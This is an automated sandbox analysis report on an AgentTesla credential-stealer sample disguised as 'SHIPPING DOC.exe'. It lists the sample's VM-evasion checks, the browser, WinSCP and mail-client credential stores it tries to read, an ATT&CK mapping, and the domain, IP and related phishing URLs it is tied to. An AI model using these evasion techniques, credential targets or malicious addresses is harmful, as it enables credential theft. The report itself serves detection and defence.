Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 2950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 2B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 6240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 7240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 7380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 8380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 30A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 32E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Memory allocated: 3120000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Window / User API: threadDelayed 3591			Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Window / User API: threadDelayed 883			Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7876	Thread sleep count: 3591 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7876	Thread sleep count: 883 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -99015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -97921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -97812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -97702s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99671	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99343	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 99015	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98906	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98468	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 97921	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 97812	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 97702	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: SHIPPING DOC.exe, 00000003.00000002.2476679238.00000000014B6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllv

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process created: C:\Users\user\Desktop\SHIPPING DOC.exe C:\Users\user\Desktop\SHIPPING DOC.exe			Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Process created: C:\Users\user\Desktop\SHIPPING DOC.exe C:\Users\user\Desktop\SHIPPING DOC.exe			Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Users\user\Desktop\SHIPPING DOC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Users\user\Desktop\SHIPPING DOC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e3b508.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SHIPPING DOC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e00ae8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2478143113.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2478143113.0000000003336000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2478143113.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SHIPPING DOC.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SHIPPING DOC.exe PID: 7744, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\SHIPPING DOC.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SHIPPING DOC.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e3b508.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SHIPPING DOC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e00ae8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2478143113.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SHIPPING DOC.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SHIPPING DOC.exe PID: 7744, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e3b508.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SHIPPING DOC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e00ae8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e3b508.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SHIPPING DOC.exe.3e00ae8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2478143113.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2478143113.0000000003336000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2478143113.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SHIPPING DOC.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SHIPPING DOC.exe PID: 7744, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 Process Discovery	Remote Desktop Protocol	1 Input Capture	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	1 Credentials in Registry	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	11 Archive Collected Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Data from Local System	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SHIPPING DOC.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Leonem
SHIPPING DOC.exe	42%	Virustotal		Browse
SHIPPING DOC.exe	100%	Avira	HEUR/AGEN.1308761
SHIPPING DOC.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
mail.elec-qatar.com	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://mail.elec-qatar.com	0%	Avira URL Cloud	safe
http://mail.elec-qatar.com	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.elec-qatar.com	50.87.139.143	true	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mail.elec-qatar.com	SHIPPING DOC.exe, 00000003.00000002.2478143113.0000000003336000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://account.dyn.com/	SHIPPING DOC.exe, 00000001.00000002.1229936951.0000000003D5E000.00000004.00000800.00020000.00000000.sdmp, SHIPPING DOC.exe, 00000003.00000002.2475894598.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
50.87.139.143	mail.elec-qatar.com	United States		46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1408227
Start date and time:	2024-03-13 14:12:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SHIPPING DOC.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/1@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 64 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SHIPPING DOC.exe, PID 7744 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:12:53	API Interceptor	23x Sleep call for process: SHIPPING DOC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
50.87.139.143	Order 19A20060.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Proforma Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Variant.Lazy.463632.16595.14067.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SHIPPING DOC.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	New order.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Quotation R2100131410.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Trojan.MSIL.Krypt.2433.31957.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	z92BankingDetails.exe	Get hash	malicious	AgentTesla	Browse
	z14Paymentslip.exe	Get hash	malicious	AgentTesla	Browse
	PO_0130717.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.elec-qatar.com	Order 19A20060.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.139.143
	Proforma Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.139.143
	SecuriteInfo.com.Variant.Lazy.463632.16595.14067.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.139.143
	SHIPPING DOC.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.139.143
	New order.bat.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.139.143
	Quotation R2100131410.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.139.143
	SecuriteInfo.com.Trojan.MSIL.Krypt.2433.31957.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.139.143
	z92BankingDetails.exe	Get hash	malicious	AgentTesla	Browse	50.87.139.143
	z14Paymentslip.exe	Get hash	malicious	AgentTesla	Browse	50.87.139.143
	PO_0130717.exe	Get hash	malicious	AgentTesla	Browse	50.87.139.143

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIFIEDLAYER-AS-1US	http://a.email8.westpac.com.au/?qqd8UFJGTiJENtWiy-VcqIDuBHhkRyDMq&//conventosp.com.br/wp-includes/pomo/DOms/Franconette@dfl.ie	Get hash	malicious	Unknown	Browse	216.172.160.199
	063837646WAYBILLMAR24.exe	Get hash	malicious	RedLine	Browse	162.144.32.209
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	162.215.168.66
	PO -70611.bat.exe	Get hash	malicious	AgentTesla	Browse	192.185.16.97
	5059367692.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.253.239
	http://a.email8.westpac.com.au/?qqd8UFJGTiJENtWiy-VcqIDuBHhkRyDMq&//mountainspeak.ca/tmp/pxp/mbu/a.b@mbu.edu	Get hash	malicious	HTMLPhisher	Browse	216.172.172.184
	https://funkmonsters.com/hjsdfwex/hjsahealthy/hjsahealthy/c3BlZWRwZXJrc0BhZHZhbmNlLWF1dG8uY29t	Get hash	malicious	Unknown	Browse	162.241.124.47
	https://tracker.club-os.com/campaign/click?msgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=jehufelfledelrisco.com/@a/jehufelfledelrisco.com/hr@jehufelfledelrisco.com	Get hash	malicious	HTMLPhisher	Browse	162.240.41.48
	https://indd.adobe.com/view/b6974824-548c-4a56-9b4e-2262d37bb22f	Get hash	malicious	Unknown	Browse	192.185.24.249
	https://indd.adobe.com/view/b0f94dfd-0691-4cc6-9e6d-5099ed0a5a2f	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.185.24.249

Process:	C:\Users\user\Desktop\SHIPPING DOC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
